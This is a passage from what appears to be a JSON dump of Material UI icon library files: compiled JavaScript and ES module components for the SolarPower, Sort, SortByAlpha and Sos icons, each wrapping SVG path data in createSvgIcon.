    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.33 16H11v-3H4zM13 16h7.67L20 13h-7zm8.11 2H13v4h9zM2 22h9v-4H2.89zm9-14h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPower.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.33 16H11v-3H4zM13 16h7.67L20 13h-7zm8.11 2H13v4h9zM2 22h9v-4H2.89zm9-14h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPower');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12H4L2 22h20zm-1.64 2 .4 2H13v-2zM11 14v2H5.24l.4-2zm-6.16 4H11v2H4.44zM13 20v-2h6.16l.4 2zM11 8h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5h-2c0 1.65-1.35 3-3 3S9 3.65 9 2H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12H4L2 22h20zm-1.64 2 .4 2H13v-2zM11 14v2H5.24l.4-2zm-6.16 4H11v2H4.44zM13 20v-2h6.16l.4 2zM11 8h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5h-2c0 1.65-1.35 3-3 3S9 3.65 9 2H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.33 16H11v-3H5.6c-.94 0-1.75.65-1.95 1.57zM13 16h7.67l-.32-1.43c-.21-.92-1.02-1.57-1.95-1.57H13zm8.11 2H13v4h6.51c1.28 0 2.23-1.18 1.95-2.43zM4.49 22H11v-4H2.89l-.35 1.57C2.26 20.82 3.21 22 4.49 22M12 8c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1m6.59.62c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0m-11.77 0 .71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.7c-.39.39-.39 1.02 0 1.41.39.4 1.02.4 1.41.01M5 2H4c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m15 0h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m-8 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.33 16H11v-3H5.6c-.94 0-1.75.65-1.95 1.57zM13 16h7.67l-.32-1.43c-.21-.92-1.02-1.57-1.95-1.57H13zm8.11 2H13v4h6.51c1.28 0 2.23-1.18 1.95-2.43zM4.49 22H11v-4H2.89l-.35 1.57C2.26 20.82 3.21 22 4.49 22M12 8c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1m6.59.62c.39-.39.39-1.02 0-1.41l-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.71.71c.39.39 1.02.39 1.41 0m-11.77 0 .71-.71c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.7c-.39.39-.39 1.02 0 1.41.39.4 1.02.4 1.41.01M5 2H4c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m15 0h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1-.45 1-1s-.45-1-1-1m-8 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.33 16H11v-3H4zM13 16h7.67L20 13h-7zm8.11 2H13v4h9zM2 22h9v-4H2.89zm9-14h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.33 16H11v-3H4zM13 16h7.67L20 13h-7zm8.11 2H13v4h9zM2 22h9v-4H2.89zm9-14h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5H7c0 2.76 2.24 5 5 5\"\n}), 'SolarPowerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.44 20H11v-2H4.84zm13.92-6H13v2h5.76zM13 18v2h6.56l-.4-2zm-7.76-2H11v-2H5.64z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12H4L2 22h20zm-7 2h5.36l.4 2H13zm-2 6H4.44l.4-2H11zm0-4H5.24l.4-2H11zm2 4v-2h6.16l.4 2zM11 8h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5h-2c0 1.65-1.35 3-3 3S9 3.65 9 2H7c0 2.76 2.24 5 5 5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c0 1.66-1.34 3-3 3S9 3.66 9 2z\",\n  opacity: \".3\"\n}, \"2\")], 'SolarPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPowerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.44 20H11v-2H4.84zm13.92-6H13v2h5.76zM13 18v2h6.56l-.4-2zm-7.76-2H11v-2H5.64z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12H4L2 22h20zm-7 2h5.36l.4 2H13zm-2 6H4.44l.4-2H11zm0-4H5.24l.4-2H11zm2 4v-2h6.16l.4 2zM11 8h2v3h-2zm4.7647-.7949 1.4142-1.4142 2.1213 2.1213-1.4142 1.4142zm-11.0598.7077 2.1213-2.1213 1.4142 1.4142L6.1191 9.327zM3 2h3v2H3zm15 0h3v2h-3zm-6 5c2.76 0 5-2.24 5-5h-2c0 1.65-1.35 3-3 3S9 3.65 9 2H7c0 2.76 2.24 5 5 5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c0 1.66-1.34 3-3 3S9 3.66 9 2z\",\n  opacity: \".3\"\n}, \"2\")], 'SolarPowerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sort.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'Sort');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sort.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'Sort');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlpha.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlpha');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlpha.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlpha');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlphaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlphaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.93 2.65c-.2-.2-.51-.2-.71 0l-2.01 2.01h4.72zm-.7 18.7c.2.2.51.2.71 0l1.98-1.98h-4.66zm-1.25-3.62c.6 0 1.01-.6.79-1.16L8.04 7.03c-.18-.46-.63-.76-1.12-.76s-.94.3-1.12.76l-3.74 9.53c-.22.56.19 1.16.79 1.16.35 0 .67-.22.8-.55l.71-1.9h5.11l.71 1.9c.13.34.45.56.8.56m-6.01-4.09 1.94-5.18 1.94 5.18zm16.08 2.5h-5.33l5.72-8.29c.46-.66-.02-1.57-.82-1.57h-6.48c-.44 0-.79.36-.79.8v.01c0 .44.36.8.79.8h5.09l-5.73 8.28c-.46.66.02 1.57.82 1.57h6.72c.44 0 .79-.36.79-.79.02-.45-.34-.81-.78-.81\"\n}), 'SortByAlphaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.93 2.65c-.2-.2-.51-.2-.71 0l-2.01 2.01h4.72zm-.7 18.7c.2.2.51.2.71 0l1.98-1.98h-4.66zm-1.25-3.62c.6 0 1.01-.6.79-1.16L8.04 7.03c-.18-.46-.63-.76-1.12-.76s-.94.3-1.12.76l-3.74 9.53c-.22.56.19 1.16.79 1.16.35 0 .67-.22.8-.55l.71-1.9h5.11l.71 1.9c.13.34.45.56.8.56m-6.01-4.09 1.94-5.18 1.94 5.18zm16.08 2.5h-5.33l5.72-8.29c.46-.66-.02-1.57-.82-1.57h-6.48c-.44 0-.79.36-.79.8v.01c0 .44.36.8.79.8h5.09l-5.73 8.28c-.46.66.02 1.57.82 1.57h6.72c.44 0 .79-.36.79-.79.02-.45-.34-.81-.78-.81\"\n}), 'SortByAlphaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlphaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.94 4.66h-4.72l2.36-2.36zm-4.69 14.71h4.66l-2.33 2.33zM6.1 6.27 1.6 17.73h1.84l.92-2.45h5.11l.92 2.45h1.84L7.74 6.27zm-1.13 7.37 1.94-5.18 1.94 5.18zm10.76 2.5h6.12v1.59h-8.53v-1.29l5.92-8.56h-5.88v-1.6h8.3v1.26z\"\n}), 'SortByAlphaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.94 4.66 12.58 2.3l-2.36 2.36zm-4.55 13.07h1.84L7.74 6.27H6.1L1.6 17.73h1.84l.92-2.45h5.11zm-5.42-4.09 1.94-5.18 1.94 5.18zm7.61 8.06 2.33-2.33h-4.66zm9.08-14.16V6.28h-8.3v1.6h5.88l-5.92 8.56v1.29h8.53v-1.59h-6.12z\"\n}), 'SortByAlphaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortByAlphaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.94 4.66 12.58 2.3l-2.36 2.36zm-4.55 13.07h1.84L7.74 6.27H6.1L1.6 17.73h1.84l.92-2.45h5.11zm-5.42-4.09 1.94-5.18 1.94 5.18zm7.61 8.06 2.33-2.33h-4.66zm9.08-14.16V6.28h-8.3v1.6h5.88l-5.92 8.56v1.29h8.53v-1.59h-6.12z\"\n}), 'SortByAlphaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h4c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m1 6h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'SortRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h4c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m1 6h10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'SortRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SortTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h6v-2H3zM3 6v2h18V6zm0 7h12v-2H3z\"\n}), 'SortTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'Sos');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'Sos');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'SosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosOutlined.mjs",
